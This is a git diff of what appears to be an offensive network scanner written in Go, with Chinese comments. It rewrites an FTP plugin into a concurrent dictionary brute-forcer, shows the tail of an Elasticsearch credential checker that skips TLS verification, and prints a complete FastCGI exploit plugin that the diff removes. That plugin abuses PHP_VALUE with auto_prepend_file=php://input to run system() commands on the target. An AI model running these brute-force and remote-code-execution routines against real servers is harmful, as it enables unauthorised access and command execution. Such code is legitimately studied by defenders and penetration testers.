// 创建带有超时的HTTP客户端
|
||||||
|
client := &http.Client{
|
||||||
|
Timeout: timeout,
|
||||||
|
Transport: &http.Transport{
|
||||||
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
baseURL := fmt.Sprintf("http://%s:%s", host, port)
|
||||||
|
|
||||||
|
// 使用上下文创建请求
|
||||||
|
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/_cat/indices", nil)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if user != "" || pass != "" {
|
||||||
|
auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
|
||||||
|
req.Header.Add("Authorization", "Basic "+auth)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
// 在协程中执行HTTP请求
|
||||||
|
go func() {
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{false, err}:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{resp.StatusCode == 200, nil}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或上下文取消
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
return result.success, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// saveElasticResult 保存Elasticsearch扫描结果
|
||||||
|
func saveElasticResult(info *Common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
|
||||||
|
var successMsg string
|
||||||
|
var details map[string]interface{}
|
||||||
|
|
||||||
|
if isUnauth {
|
||||||
|
successMsg = fmt.Sprintf("Elasticsearch服务 %s 无需认证", target)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "elasticsearch",
|
||||||
|
"type": "unauthorized-access",
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||||
|
target, credential.Username, credential.Password)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "elasticsearch",
|
||||||
|
"username": credential.Username,
|
||||||
|
"password": credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
}
|
||||||
+296
-43
@@ -1,92 +1,345 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/jlaffaye/ftp"
|
"github.com/jlaffaye/ftp"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// FtpScan 执行FTP服务扫描
|
// FtpCredential 表示一个FTP凭据
|
||||||
func FtpScan(info *Common.HostInfo) (tmperr error) {
|
type FtpCredential struct {
|
||||||
// 如果已开启暴力破解则直接返回
|
Username string
|
||||||
if Common.IsBrute {
|
Password string
|
||||||
return
|
}
|
||||||
|
|
||||||
|
// FtpScanResult 表示FTP扫描结果
|
||||||
|
type FtpScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential FtpCredential
|
||||||
|
Directories []string
|
||||||
|
IsAnonymous bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func FtpScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
starttime := time.Now().Unix()
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
// 尝试匿名登录
|
// 设置全局超时上下文
|
||||||
flag, err := FtpConn(info, "anonymous", "")
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
if flag && err == nil {
|
defer cancel()
|
||||||
return err
|
|
||||||
}
|
// 首先尝试匿名登录
|
||||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
Common.LogDebug("尝试匿名登录...")
|
||||||
Common.LogError(errlog)
|
anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, Common.Timeout, Common.MaxRetries)
|
||||||
tmperr = err
|
|
||||||
if Common.CheckErrs(err) {
|
if anonymousResult.Success {
|
||||||
return err
|
// 匿名登录成功
|
||||||
|
saveFtpResult(info, target, anonymousResult)
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 尝试用户名密码组合
|
// 构建凭据列表
|
||||||
|
var credentials []FtpCredential
|
||||||
for _, user := range Common.Userdict["ftp"] {
|
for _, user := range Common.Userdict["ftp"] {
|
||||||
for _, pass := range Common.Passwords {
|
for _, pass := range Common.Passwords {
|
||||||
// 替换密码中的用户名占位符
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
credentials = append(credentials, FtpCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
flag, err := FtpConn(info, user, pass)
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
if flag && err == nil {
|
len(Common.Userdict["ftp"]), len(Common.Passwords), len(credentials)))
|
||||||
return err
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentFtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 保存成功结果
|
||||||
|
saveFtpResult(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否因为全局超时而退出
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("FTP扫描全局超时")
|
||||||
|
return fmt.Errorf("全局超时")
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentFtpScan 并发扫描FTP服务
|
||||||
|
func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
|
||||||
|
// 使用ModuleThreadNum控制并发数
|
||||||
|
maxConcurrent := Common.ModuleThreadNum
|
||||||
|
if maxConcurrent <= 0 {
|
||||||
|
maxConcurrent = 10 // 默认值
|
||||||
|
}
|
||||||
|
if maxConcurrent > len(credentials) {
|
||||||
|
maxConcurrent = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *FtpScanResult, 1)
|
||||||
|
workChan := make(chan FtpCredential, maxConcurrent)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxConcurrent; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for credential := range workChan {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
result := tryFtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送工作
|
||||||
|
go func() {
|
||||||
|
for i, cred := range credentials {
|
||||||
|
select {
|
||||||
|
case <-scanCtx.Done():
|
||||||
|
break
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
|
workChan <- cred
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(workChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或完成
|
||||||
|
go func() {
|
||||||
|
wg.Wait()
|
||||||
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果,考虑全局超时
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok && result != nil && result.Success {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("FTP并发扫描全局超时")
|
||||||
|
scanCancel() // 确保取消所有未完成工作
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryFtpCredential 尝试单个FTP凭据
|
||||||
|
func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return &FtpScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("全局超时"),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
}
|
}
|
||||||
|
|
||||||
// 记录错误信息
|
// 创建结果通道
|
||||||
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
resultChan := make(chan struct {
|
||||||
Common.LogError(errlog)
|
success bool
|
||||||
tmperr = err
|
directories []string
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
if Common.CheckErrs(err) {
|
// 在协程中尝试连接
|
||||||
return err
|
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
go func() {
|
||||||
|
defer cancel()
|
||||||
|
success, dirs, err := FtpConn(info, credential.Username, credential.Password)
|
||||||
|
select {
|
||||||
|
case <-connCtx.Done():
|
||||||
|
case resultChan <- struct {
|
||||||
|
success bool
|
||||||
|
directories []string
|
||||||
|
err error
|
||||||
|
}{success, dirs, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或超时
|
||||||
|
var success bool
|
||||||
|
var dirs []string
|
||||||
|
var err error
|
||||||
|
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
success = result.success
|
||||||
|
dirs = result.directories
|
||||||
|
err = result.err
|
||||||
|
case <-connCtx.Done():
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
// 全局超时
|
||||||
|
return &FtpScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: ctx.Err(),
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 单个连接超时
|
||||||
|
err = fmt.Errorf("连接超时")
|
||||||
}
|
}
|
||||||
|
|
||||||
// 超时检查
|
if success {
|
||||||
if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) {
|
isAnonymous := credential.Username == "anonymous" && credential.Password == ""
|
||||||
return err
|
return &FtpScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
Directories: dirs,
|
||||||
|
IsAnonymous: isAnonymous,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 登录错误不需要重试
|
||||||
|
if strings.Contains(err.Error(), "Login incorrect") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// 连接数过多需要等待
|
||||||
|
if strings.Contains(err.Error(), "too many connections") {
|
||||||
|
Common.LogDebug("连接数过多,等待5秒...")
|
||||||
|
time.Sleep(5 * time.Second)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
|
||||||
|
return &FtpScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// FtpConn 建立FTP连接并尝试登录
|
// FtpConn 建立FTP连接并尝试登录
|
||||||
func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host, Port := info.Host, info.Ports
|
||||||
|
|
||||||
// 建立FTP连接
|
// 建立FTP连接
|
||||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
|
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, nil, err
|
||||||
}
|
}
|
||||||
|
defer func() {
|
||||||
|
if conn != nil {
|
||||||
|
conn.Quit()
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
// 尝试登录
|
// 尝试登录
|
||||||
if err = conn.Login(Username, Password); err != nil {
|
if err = conn.Login(user, pass); err != nil {
|
||||||
return false, err
|
return false, nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 登录成功,获取目录信息
|
// 获取目录信息
|
||||||
result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
|
|
||||||
dirs, err := conn.List("")
|
dirs, err := conn.List("")
|
||||||
if err == nil && len(dirs) > 0 {
|
if err == nil && len(dirs) > 0 {
|
||||||
// 最多显示前6个目录
|
directories = make([]string, 0, min(6, len(dirs)))
|
||||||
for i := 0; i < len(dirs) && i < 6; i++ {
|
for i := 0; i < len(dirs) && i < 6; i++ {
|
||||||
name := dirs[i].Name
|
name := dirs[i].Name
|
||||||
if len(name) > 50 {
|
if len(name) > 50 {
|
||||||
name = name[:50]
|
name = name[:50]
|
||||||
}
|
}
|
||||||
result += "\n [->]" + name
|
directories = append(directories, name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Common.LogSuccess(result)
|
return true, directories, nil
|
||||||
return true, nil
|
}
|
||||||
|
|
||||||
|
// saveFtpResult 保存FTP扫描结果
|
||||||
|
func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult) {
|
||||||
|
var successMsg string
|
||||||
|
var details map[string]interface{}
|
||||||
|
|
||||||
|
if result.IsAnonymous {
|
||||||
|
successMsg = fmt.Sprintf("FTP服务 %s 匿名登录成功!", target)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "ftp",
|
||||||
|
"username": "anonymous",
|
||||||
|
"password": "",
|
||||||
|
"type": "anonymous-login",
|
||||||
|
"directories": result.Directories,
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v",
|
||||||
|
target, result.Credential.Username, result.Credential.Password)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "ftp",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
"type": "weak-password",
|
||||||
|
"directories": result.Directories,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
|
|
||||||
|
// min 返回两个整数中的较小值
|
||||||
|
func min(a, b int) int {
|
||||||
|
if a < b {
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
return b
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,375 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"bytes"
|
|
||||||
"encoding/binary"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
"io"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
//links
|
|
||||||
//https://xz.aliyun.com/t/9544
|
|
||||||
//https://github.com/wofeiwo/webcgi-exploits
|
|
||||||
|
|
||||||
// FcgiScan 执行FastCGI服务器漏洞扫描
|
|
||||||
func FcgiScan(info *Common.HostInfo) error {
|
|
||||||
// 如果设置了暴力破解模式则跳过
|
|
||||||
if Common.IsBrute {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置目标URL路径
|
|
||||||
url := "/etc/issue"
|
|
||||||
if Common.Path != "" {
|
|
||||||
url = Common.Path
|
|
||||||
}
|
|
||||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
|
||||||
|
|
||||||
// 构造PHP命令注入代码
|
|
||||||
var reqParams string
|
|
||||||
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case Common.Command == "read":
|
|
||||||
reqParams = "" // 读取模式
|
|
||||||
case Common.Command != "":
|
|
||||||
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
|
|
||||||
default:
|
|
||||||
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置FastCGI环境变量
|
|
||||||
env := map[string]string{
|
|
||||||
"SCRIPT_FILENAME": url,
|
|
||||||
"DOCUMENT_ROOT": "/",
|
|
||||||
"SERVER_SOFTWARE": "go / fcgiclient ",
|
|
||||||
"REMOTE_ADDR": "127.0.0.1",
|
|
||||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
|
||||||
}
|
|
||||||
|
|
||||||
// 根据请求类型设置对应的环境变量
|
|
||||||
if len(reqParams) != 0 {
|
|
||||||
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
|
|
||||||
env["REQUEST_METHOD"] = "POST"
|
|
||||||
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
|
|
||||||
} else {
|
|
||||||
env["REQUEST_METHOD"] = "GET"
|
|
||||||
}
|
|
||||||
|
|
||||||
// 建立FastCGI连接
|
|
||||||
fcgi, err := New(addr, Common.Timeout)
|
|
||||||
defer func() {
|
|
||||||
if fcgi.rwc != nil {
|
|
||||||
fcgi.rwc.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 发送FastCGI请求
|
|
||||||
stdout, stderr, err := fcgi.Request(env, reqParams)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理响应结果
|
|
||||||
output := string(stdout)
|
|
||||||
var result string
|
|
||||||
|
|
||||||
if strings.Contains(output, cutLine) {
|
|
||||||
// 命令执行成功,提取输出结果
|
|
||||||
output = strings.SplitN(output, cutLine, 2)[0]
|
|
||||||
if len(stderr) > 0 {
|
|
||||||
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
|
|
||||||
info.Host, info.Ports, output, string(stderr))
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
|
|
||||||
info.Host, info.Ports, output)
|
|
||||||
}
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
} else if strings.Contains(output, "File not found") ||
|
|
||||||
strings.Contains(output, "Content-type") ||
|
|
||||||
strings.Contains(output, "Status") {
|
|
||||||
// 目标存在FastCGI服务但可能路径错误
|
|
||||||
if len(stderr) > 0 {
|
|
||||||
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
|
|
||||||
info.Host, info.Ports, output, string(stderr))
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v",
|
|
||||||
info.Host, info.Ports, output)
|
|
||||||
}
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// for padding so we don't have to allocate all the time
|
|
||||||
// not synchronized because we don't care what the contents are
|
|
||||||
var pad [maxPad]byte
|
|
||||||
|
|
||||||
const (
|
|
||||||
FCGI_BEGIN_REQUEST uint8 = iota + 1
|
|
||||||
FCGI_ABORT_REQUEST
|
|
||||||
FCGI_END_REQUEST
|
|
||||||
FCGI_PARAMS
|
|
||||||
FCGI_STDIN
|
|
||||||
FCGI_STDOUT
|
|
||||||
FCGI_STDERR
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
FCGI_RESPONDER uint8 = iota + 1
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
maxWrite = 6553500 // maximum record body
|
|
||||||
maxPad = 255
|
|
||||||
)
|
|
||||||
|
|
||||||
type header struct {
|
|
||||||
Version uint8
|
|
||||||
Type uint8
|
|
||||||
Id uint16
|
|
||||||
ContentLength uint16
|
|
||||||
PaddingLength uint8
|
|
||||||
Reserved uint8
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
|
|
||||||
h.Version = 1
|
|
||||||
h.Type = recType
|
|
||||||
h.Id = reqId
|
|
||||||
h.ContentLength = uint16(contentLength)
|
|
||||||
h.PaddingLength = uint8(-contentLength & 7)
|
|
||||||
}
|
|
||||||
|
|
||||||
type record struct {
|
|
||||||
h header
|
|
||||||
buf [maxWrite + maxPad]byte
|
|
||||||
}
|
|
||||||
|
|
||||||
func (rec *record) read(r io.Reader) (err error) {
|
|
||||||
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if rec.h.Version != 1 {
|
|
||||||
return errors.New("fcgi: invalid header version")
|
|
||||||
}
|
|
||||||
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
|
|
||||||
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (r *record) content() []byte {
|
|
||||||
return r.buf[:r.h.ContentLength]
|
|
||||||
}
|
|
||||||
|
|
||||||
type FCGIClient struct {
|
|
||||||
mutex sync.Mutex
|
|
||||||
rwc io.ReadWriteCloser
|
|
||||||
h header
|
|
||||||
buf bytes.Buffer
|
|
||||||
keepAlive bool
|
|
||||||
}
|
|
||||||
|
|
||||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
|
||||||
fcgi = &FCGIClient{
|
|
||||||
rwc: conn,
|
|
||||||
keepAlive: false,
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
|
||||||
c.mutex.Lock()
|
|
||||||
defer c.mutex.Unlock()
|
|
||||||
c.buf.Reset()
|
|
||||||
c.h.init(recType, reqId, len(content))
|
|
||||||
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := c.buf.Write(content); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
_, err = c.rwc.Write(c.buf.Bytes())
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
|
||||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
|
||||||
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
|
||||||
b := make([]byte, 8)
|
|
||||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
|
||||||
b[4] = protocolStatus
|
|
||||||
return c.writeRecord(FCGI_END_REQUEST, reqId, b)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
|
||||||
w := newWriter(c, recType, reqId)
|
|
||||||
b := make([]byte, 8)
|
|
||||||
for k, v := range pairs {
|
|
||||||
n := encodeSize(b, uint32(len(k)))
|
|
||||||
n += encodeSize(b[n:], uint32(len(v)))
|
|
||||||
if _, err := w.Write(b[:n]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := w.WriteString(k); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := w.WriteString(v); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
w.Close()
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func readSize(s []byte) (uint32, int) {
|
|
||||||
if len(s) == 0 {
|
|
||||||
return 0, 0
|
|
||||||
}
|
|
||||||
size, n := uint32(s[0]), 1
|
|
||||||
if size&(1<<7) != 0 {
|
|
||||||
if len(s) < 4 {
|
|
||||||
return 0, 0
|
|
||||||
}
|
|
||||||
n = 4
|
|
||||||
size = binary.BigEndian.Uint32(s)
|
|
||||||
size &^= 1 << 31
|
|
||||||
}
|
|
||||||
return size, n
|
|
||||||
}
|
|
||||||
|
|
||||||
func readString(s []byte, size uint32) string {
|
|
||||||
if size > uint32(len(s)) {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
return string(s[:size])
|
|
||||||
}
|
|
||||||
|
|
||||||
func encodeSize(b []byte, size uint32) int {
|
|
||||||
if size > 127 {
|
|
||||||
size |= 1 << 31
|
|
||||||
binary.BigEndian.PutUint32(b, size)
|
|
||||||
return 4
|
|
||||||
}
|
|
||||||
b[0] = byte(size)
|
|
||||||
return 1
|
|
||||||
}
|
|
||||||
|
|
||||||
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
|
|
||||||
// Closed.
|
|
||||||
type bufWriter struct {
|
|
||||||
closer io.Closer
|
|
||||||
*bufio.Writer
|
|
||||||
}
|
|
||||||
|
|
||||||
func (w *bufWriter) Close() error {
|
|
||||||
if err := w.Writer.Flush(); err != nil {
|
|
||||||
w.closer.Close()
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return w.closer.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
|
|
||||||
s := &streamWriter{c: c, recType: recType, reqId: reqId}
|
|
||||||
w := bufio.NewWriterSize(s, maxWrite)
|
|
||||||
return &bufWriter{s, w}
|
|
||||||
}
|
|
||||||
|
|
||||||
// streamWriter abstracts out the separation of a stream into discrete records.
|
|
||||||
// It only writes maxWrite bytes at a time.
|
|
||||||
type streamWriter struct {
|
|
||||||
c *FCGIClient
|
|
||||||
recType uint8
|
|
||||||
reqId uint16
|
|
||||||
}
|
|
